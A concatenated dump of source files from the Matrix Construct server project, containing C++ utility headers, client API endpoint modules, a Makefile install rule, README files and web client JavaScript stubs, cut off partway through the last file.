/include/ircd/util/mask.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_MASK_H 13 | 14 | namespace ircd { 15 | inline namespace util 16 | { 17 | template T popmask(const T) noexcept; 18 | template T boolmask(const T) noexcept; 19 | }} 20 | 21 | /// Convenience template. Extends a bool value where the lsb is 1 or 0 into a 22 | /// mask value like the result of vector comparisons. 23 | template 24 | inline T 25 | ircd::util::boolmask(const T a) 26 | noexcept 27 | { 28 | return ~(popmask(a) - 1); 29 | } 30 | 31 | /// Convenience template. Vector compare instructions yield 0xff on equal; 32 | /// sometimes one might need an actual value of 1 for accumulators or maybe 33 | /// some bool-type reason... 34 | template 35 | inline T 36 | ircd::util::popmask(const T a) 37 | noexcept 38 | { 39 | return a & 1; 40 | } 41 | -------------------------------------------------------------------------------- /include/ircd/util/reentrance.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_REENTRANCE_H 13 | 14 | namespace ircd { 15 | inline namespace util 16 | { 17 | template struct reentrance_assertion; 18 | }} 19 | 20 | /// Simple assert for reentrancy; useful when static variables are in play. 21 | /// You have to place `entered` and give it the proper linkage you want. 22 | template 23 | struct ircd::util::reentrance_assertion 24 | { 25 | reentrance_assertion() 26 | { 27 | assert(!entered); 28 | entered = true; 29 | } 30 | 31 | ~reentrance_assertion() 32 | { 33 | assert(entered); 34 | entered = false; 35 | } 36 | }; 37 | -------------------------------------------------------------------------------- /include/ircd/util/returns.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2023 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_RETURNS_H 13 | 14 | namespace ircd 15 | { 16 | inline namespace util 17 | { 18 | template 19 | struct returns; 20 | } 21 | } 22 | 23 | /// Simple convenience for cheesers to inherit from a POD type, similar to 24 | /// IRCD_STRONG_TYPEDEF but with additional specific features. 25 | template 26 | struct ircd::util::returns 27 | { 28 | T ret; 29 | 30 | operator const T &() const noexcept 31 | { 32 | return ret; 33 | } 34 | 35 | explicit operator T &() & noexcept 36 | { 37 | return ret; 38 | } 39 | 40 | template 41 | returns(F&& func, 42 | typename std::enable_if::value, int>::type = 0) 43 | :ret{func()} 44 | {} 45 | 46 | returns(const T &ret) noexcept 47 | :ret{ret} 48 | {} 49 | 50 | returns() = default; 51 | }; 52 | -------------------------------------------------------------------------------- /include/ircd/util/test.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_TEST_H 13 | 14 | namespace ircd 15 | { 16 | extern "C" bool ircd_test(const string_view & = {}); 17 | } 18 | -------------------------------------------------------------------------------- /include/ircd/util/u2a.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_U2A_H 13 | 14 | namespace ircd { 15 | inline namespace util 16 | { 17 | // Binary <-> Hex conversion suite 18 | const_buffer a2u(const mutable_buffer &out, const const_buffer &in); 19 | string_view u2a(const mutable_buffer &out, const const_buffer &in); 20 | std::string u2a(const const_buffer &in); 21 | }} 22 | -------------------------------------------------------------------------------- /include/ircd/util/what.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_WHAT_H 13 | 14 | namespace ircd { inline namespace util 15 | { 16 | string_view what(const std::exception_ptr eptr = std::current_exception()) noexcept; 17 | string_view what(const std::exception &) noexcept; 18 | }} 19 | 20 | inline ircd::string_view 21 | ircd::util::what(const std::exception &e) 22 | noexcept 23 | { 24 | return e.what(); 25 | } 26 | -------------------------------------------------------------------------------- /ircd/crh.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | // 12 | // This file anchors the abstract ircd::crh::hash vtable and default 13 | // functionalities. Various implementations of crh::hash will be contained 14 | // within other units where the third-party dependency which implements it 15 | // is included (ex. openssl.cc). This is so we don't include and mix 16 | // everything here just for hash functions. 17 | // 18 | 19 | ircd::crh::hash::~hash() 20 | noexcept 21 | { 22 | } 23 | 24 | ircd::crh::hash & 25 | ircd::crh::hash::operator+=(const const_buffer &buf) 26 | { 27 | update(buf); 28 | return *this; 29 | } 30 | 31 | void 32 | ircd::crh::hash::operator()(const mutable_buffer &out, 33 | const const_buffer &in) 34 | { 35 | update(in); 36 | finalize(out); 37 | } 38 | 39 | void 40 | ircd::crh::hash::finalize(const mutable_buffer &b) 41 | { 42 | digest(b); 43 | } 44 | -------------------------------------------------------------------------------- /ircd/default.proftext: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/ircd/default.proftext -------------------------------------------------------------------------------- /ircd/pbc.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include 12 | 13 | namespace ircd::pbc 14 | { 15 | static void init() __attribute__((constructor)); 16 | 17 | extern info::versions version_api, version_abi; 18 | } 19 | 20 | decltype(ircd::pbc::version_api) 21 | ircd::pbc::version_api 22 | { 23 | "pbc", info::versions::API, 0 24 | }; 25 | 26 | decltype(ircd::pbc::version_abi) 27 | ircd::pbc::version_abi 28 | { 29 | "pbc", info::versions::ABI, 0 30 | }; 31 | 32 | void 33 | ircd::pbc::init() 34 | { 35 | 36 | } 37 | -------------------------------------------------------------------------------- /matrix/default.proftext: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/matrix/default.proftext -------------------------------------------------------------------------------- /matrix/groups.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | decltype(ircd::m::groups::log) 12 | ircd::m::groups::log 13 | { 14 | "m.groups" 15 | }; 16 | -------------------------------------------------------------------------------- /matrix/room_stats.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | size_t 12 | __attribute__((noreturn)) 13 | ircd::m::room::stats::bytes_total(const m::room &room) 14 | { 15 | throw m::UNSUPPORTED 16 | { 17 | "Not yet implemented." 18 | }; 19 | } 20 | 21 | size_t 22 | __attribute__((noreturn)) 23 | ircd::m::room::stats::bytes_total_compressed(const m::room &room) 24 | { 25 | throw m::UNSUPPORTED 26 | { 27 | "Not yet implemented." 28 | }; 29 | } 30 | 31 | size_t 32 | ircd::m::room::stats::bytes_json(const m::room &room) 33 | { 34 | size_t ret(0); 35 | const room::iterate iterate 36 | { 37 | room 38 | }; 39 | 40 | iterate.for_each([&ret] 41 | (const string_view &event, const auto &depth, const auto &event_idx) 42 | { 43 | ret += size(event); 44 | }); 45 | 46 | return ret; 47 | } 48 | 49 | size_t 50 | __attribute__((noreturn)) 51 | ircd::m::room::stats::bytes_json_compressed(const m::room &room) 52 | { 53 | throw m::UNSUPPORTED 54 | { 55 | "Not yet implemented." 56 | }; 57 | } 58 | -------------------------------------------------------------------------------- /modules/client/account/account.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "account.h" 12 | 13 | using namespace ircd; 14 | 15 | mapi::header 16 | IRCD_MODULE 17 | { 18 | "Client 3.4,3.5,3.6 :Account" 19 | }; 20 | 21 | m::resource 22 | account_resource 23 | { 24 | "/_matrix/client/r0/account", 25 | { 26 | "(3.4,3.5,3.6) Account management" 27 | } 28 | }; 29 | -------------------------------------------------------------------------------- /modules/client/account/account.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | -------------------------------------------------------------------------------- /modules/client/account/whoami.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "account.h" 12 | 13 | using namespace ircd; 14 | 15 | m::resource 16 | account_whoami 17 | { 18 | "/_matrix/client/r0/account/whoami", 19 | { 20 | "(3.6.1) Gets information about the owner of a given access token." 21 | } 22 | }; 23 | 24 | m::resource::response 25 | get__whoami(client &client, 26 | const m::resource::request &request) 27 | { 28 | return m::resource::response 29 | { 30 | client, json::members 31 | { 32 | { "user_id", request.user_id } 33 | } 34 | }; 35 | } 36 | 37 | m::resource::method 38 | get_whoami 39 | { 40 | account_whoami, "GET", get__whoami, 41 | { 42 | get_whoami.REQUIRES_AUTH | 43 | get_whoami.RATE_LIMITED 44 | } 45 | }; 46 | -------------------------------------------------------------------------------- /modules/client/groups/categories.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "groups.h" 12 | -------------------------------------------------------------------------------- /modules/client/groups/groups.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | namespace ircd::m::groups 12 | { 13 | 14 | } 15 | -------------------------------------------------------------------------------- /modules/client/groups/invited_users.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "groups.h" 12 | -------------------------------------------------------------------------------- /modules/client/groups/profile.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "groups.h" 12 | -------------------------------------------------------------------------------- /modules/client/groups/roles.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "groups.h" 12 | -------------------------------------------------------------------------------- /modules/client/groups/rooms.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "groups.h" 12 | -------------------------------------------------------------------------------- /modules/client/groups/self.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "groups.h" 12 | -------------------------------------------------------------------------------- /modules/client/groups/settings.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "groups.h" 12 | -------------------------------------------------------------------------------- /modules/client/groups/summary.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "groups.h" 12 | -------------------------------------------------------------------------------- /modules/client/groups/users.cc: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "groups.h" 12 | -------------------------------------------------------------------------------- /modules/client/room_keys/room_keys.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2023 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma GCC visibility push(hidden) 12 | namespace ircd::m 13 | { 14 | string_view make_state_key(const mutable_buffer &, const string_view &, const string_view &, const event::idx &); 15 | std::tuple unmake_state_key(const string_view &); 16 | std::tuple count_etag(const room::state &, const event::idx &version); 17 | } 18 | #pragma GCC visibility pop 19 | -------------------------------------------------------------------------------- /modules/client/rooms/forget.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "rooms.h" 12 | 13 | using namespace ircd; 14 | 15 | m::resource::response 16 | post__forget(client &client, 17 | const m::resource::request &request, 18 | const m::room::id &room_id) 19 | { 20 | const m::room room 21 | { 22 | room_id 23 | }; 24 | 25 | const m::user::room user_room 26 | { 27 | request.user_id 28 | }; 29 | 30 | // 31 | //TODO: XXX 32 | // 33 | 34 | return m::resource::response 35 | { 36 | client, http::OK 37 | }; 38 | } 39 | -------------------------------------------------------------------------------- /modules/client/rooms/leave.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "rooms.h" 12 | 13 | using namespace ircd; 14 | 15 | m::resource::response 16 | post__leave(client &client, 17 | const m::resource::request &request, 18 | const m::room::id &room_id) 19 | { 20 | const m::room room 21 | { 22 | room_id 23 | }; 24 | 25 | const auto event_id 26 | { 27 | m::leave(room, request.user_id) 28 | }; 29 | 30 | return m::resource::response 31 | { 32 | client, http::OK, json::members 33 | { 34 | { "event_id", event_id } 35 | } 36 | }; 37 | } 38 | -------------------------------------------------------------------------------- /modules/client/thirdparty/protocols.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | using namespace ircd; 12 | 13 | mapi::header 14 | IRCD_MODULE 15 | { 16 | "Client (unstable) (no-section) :Third party protocols" 17 | }; 18 | 19 | m::resource 20 | protocols_resource 21 | { 22 | "/_matrix/client/r0/thirdparty/protocols", 23 | { 24 | "(no-section) Unstable thirdparty protocols support" 25 | } 26 | }; 27 | 28 | m::resource::response 29 | get__protocols(client &client, 30 | const m::resource::request &request) 31 | { 32 | return resource::response 33 | { 34 | client, http::OK 35 | }; 36 | } 37 | 38 | m::resource::method 39 | get_method 40 | { 41 | protocols_resource, "GET", get__protocols 42 | }; 43 | -------------------------------------------------------------------------------- /modules/identity/v1.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | using namespace ircd; 12 | 13 | mapi::header 14 | IRCD_MODULE 15 | { 16 | "Identity Service 6 :Status Check" 17 | }; 18 | 19 | m::resource 20 | identity_resource 21 | { 22 | "/_matrix/identity/api/v1", 23 | { 24 | "Identity 6.1 :Checks that an identity server is available at this" 25 | " API endpoint." 26 | } 27 | }; 28 | 29 | static m::resource::response 30 | handle_get(client &client, 31 | const m::resource::request &request) 32 | { 33 | return m::resource::response 34 | { 35 | client, http::NOT_IMPLEMENTED 36 | }; 37 | } 38 | 39 | m::resource::method 40 | method_get 41 | { 42 | identity_resource, "GET", handle_get 43 | }; 44 | -------------------------------------------------------------------------------- /modules/key/README.md: -------------------------------------------------------------------------------- 1 | # Matrix Keys API 2 | 3 | The modules in this directory implement endpoints for the matrix federation 4 | public key infrastructure as specified [here](https://matrix.org/docs/spec/server_server/unstable.html#retrieving-server-keys). 5 | 6 | Note that there is an additional `s_keys` modules not contained in this 7 | directory which provides additional key utilities, generation, 8 | administration, etc... 9 | 10 | -------------------------------------------------------------------------------- /modules/m_noop.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | // 12 | // This module is empty and does nothing on purpose. 13 | // 14 | 15 | ircd::mapi::header 16 | IRCD_MODULE 17 | { 18 | "No Operation" 19 | }; 20 | -------------------------------------------------------------------------------- /modules/m_room_history_visibility.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | namespace ircd::m 12 | { 13 | static void changed_history_visibility(const event &, vm::eval &); 14 | extern hookfn changed_history_visibility_hookfn; 15 | } 16 | 17 | ircd::mapi::header 18 | IRCD_MODULE 19 | { 20 | "Matrix m.room.history_visibility" 21 | }; 22 | 23 | decltype(ircd::m::changed_history_visibility_hookfn) 24 | ircd::m::changed_history_visibility_hookfn 25 | { 26 | changed_history_visibility, 27 | { 28 | { "_site", "vm.effect" }, 29 | { "type", "m.room.history_visibility" }, 30 | } 31 | }; 32 | 33 | void 34 | ircd::m::changed_history_visibility(const event &event, 35 | vm::eval &) 36 | { 37 | log::info 38 | { 39 | log, "Changed visibility of %s to %s by %s => %s", 40 | json::get<"room_id"_>(event), 41 | json::get<"content"_>(event).get("history_visibility"), 42 | json::get<"sender"_>(event), 43 | string_view{event.event_id}, 44 | }; 45 | } 46 | -------------------------------------------------------------------------------- /modules/media/media.cc: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #include "media.h" 12 | 13 | ircd::mapi::header 14 | IRCD_MODULE 15 | { 16 | "11.7 :Content respository", 17 | }; 18 | -------------------------------------------------------------------------------- /modules/media/media.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | namespace ircd::m::media::thumbnail 12 | { 13 | extern conf::item enable; 14 | extern conf::item enable_remote; 15 | extern conf::item animation_enable; 16 | extern conf::item width_min; 17 | extern conf::item width_max; 18 | extern conf::item height_min; 19 | extern conf::item height_max; 20 | extern conf::item mime_whitelist; 21 | extern conf::item mime_blacklist; 22 | } 23 | -------------------------------------------------------------------------------- /share/Makefile.am: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # 3 | # IRCd read-only data (share) assets. 4 | # 5 | 6 | datadir = @datadir@ 7 | 8 | install-mkdirs: 9 | -@if test ! -d $(DESTDIR)$(datadir); then \ 10 | echo "mkdir -p $(DESTDIR)$(datadir)"; \ 11 | mkdir -p $(DESTDIR)$(datadir); \ 12 | fi 13 | 14 | install: install-mkdirs 15 | @echo "ircd: installing shared assets" 16 | @for i in $(srcdir)/*; do \ 17 | case "$$i" in \ 18 | "./Makefile"*) \ 19 | ;; \ 20 | "README.md") \ 21 | ;; \ 22 | *) \ 23 | echo "installing $$i to $(DESTDIR)$(datadir)"; \ 24 | cp -u -r $$i $(DESTDIR)$(datadir); \ 25 | ;; \ 26 | esac \ 27 | done 28 | -------------------------------------------------------------------------------- /share/webapp/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/FontAwesome.otf -------------------------------------------------------------------------------- /share/webapp/NixieOne-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/NixieOne-Regular.ttf -------------------------------------------------------------------------------- /share/webapp/README.md: -------------------------------------------------------------------------------- 1 | ## Construct Client 2 | 3 | 4 | 5 | This client provides a fully functioning Matrix chat experience in addition to driving the server 6 | administration functions of IRCd. This client does not de-prioritize the chat client features 7 | in favor of focusing on server admin. It serves as a testbed for any new features and experimentation 8 | conducted with IRCd. 9 | -------------------------------------------------------------------------------- /share/webapp/VERSION: -------------------------------------------------------------------------------- 1 | 0.6.9 2 | -------------------------------------------------------------------------------- /share/webapp/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/favicon.ico -------------------------------------------------------------------------------- /share/webapp/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/fontawesome-webfont.eot -------------------------------------------------------------------------------- /share/webapp/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /share/webapp/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/fontawesome-webfont.woff -------------------------------------------------------------------------------- /share/webapp/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/matrix-construct/construct/0624b69246878da592d3f5c2c3737ad0b5ff6277/share/webapp/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /share/webapp/js/ircd.js: -------------------------------------------------------------------------------- 1 | /* 2 | // Matrix Construct 3 | // 4 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 5 | // Copyright (C) 2016-2018 Jason Volk 6 | // 7 | // Permission to use, copy, modify, and/or distribute this software for any 8 | // purpose with or without fee is hereby granted, provided that the above 9 | // copyright notice and this permission notice is present in all copies. The 10 | // full license for this software is available in the LICENSE file. 11 | */ 12 | 13 | 'use strict'; 14 | 15 | /** 16 | **************************************************************************** 17 | **************************************************************************** 18 | * 19 | * IRCd (Charybdis) 20 | * 21 | * 22 | */ 23 | let ircd = {}; 24 | -------------------------------------------------------------------------------- /share/webapp/js/my.js: -------------------------------------------------------------------------------- 1 | /* 2 | // Matrix Construct 3 | // 4 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 5 | // Copyright (C) 2016-2018 Jason Volk 6 | // 7 | // Permission to use, copy, modify, and/or distribute this software for any 8 | // purpose with or without fee is hereby granted, provided that the above 9 | // copyright notice and this permission notice is present in all copies. The 10 | // full license for this software is available in the LICENSE file. 11 | */ 12 | 13 | 'use strict'; 14 | 15 | /** 16 | * Suite of functions 17 | */ 18 | mc.my = 19 | { 20 | get mxid() 21 | { 22 | return mc.session.user_id; 23 | }, 24 | 25 | /** short id - Chops off the domain and other non-name characters from an mxid */ 26 | get sid() 27 | { 